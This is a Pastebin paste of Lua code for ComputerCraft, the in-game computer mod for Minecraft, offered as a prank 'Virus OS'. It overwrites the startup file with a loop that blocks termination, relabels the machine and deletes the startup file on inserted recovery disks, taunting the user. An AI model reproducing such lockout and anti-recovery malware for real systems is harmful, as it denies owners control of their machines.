Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local handle = fs.open(shell.resolve("startup"),"w")
- handle.write([[
- local deleted = nil
- term.clear()
- term.setCursorPos(1,1)
- term.setTextColor(colors.yellow)
- print("Virus OS 1.8")
- term.setTextColor(colors.white)
- shell.run("label set BrokenComp")
- print("This comp is fcked!")
- while true do
- local a = {os.pullEventRaw()}
- if a[1] == "disk" then
- if fs.exists("disk/startup") then
- shell.run("delete disk/startup")
- end
- term.setTextColor(colors.green)
- textutils.SlowPrint("Antivirus Deleted")
- sleep(.5)
- term.setTextColor(colors.white)
- --write("\n")
- print("nice try")
- local deleted = true
- end
- if a[1] == "disk_eject" then
- if deleted then
- print("get a better antivirus next time")
- end
- end
- if a[1] == "terminate" then
- printError("Terminated")
- end
- if a[1] == "key" and a[2] == 29 then
- print("nice try")
- end
- end]])
- handle.close()
- os.reboot()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement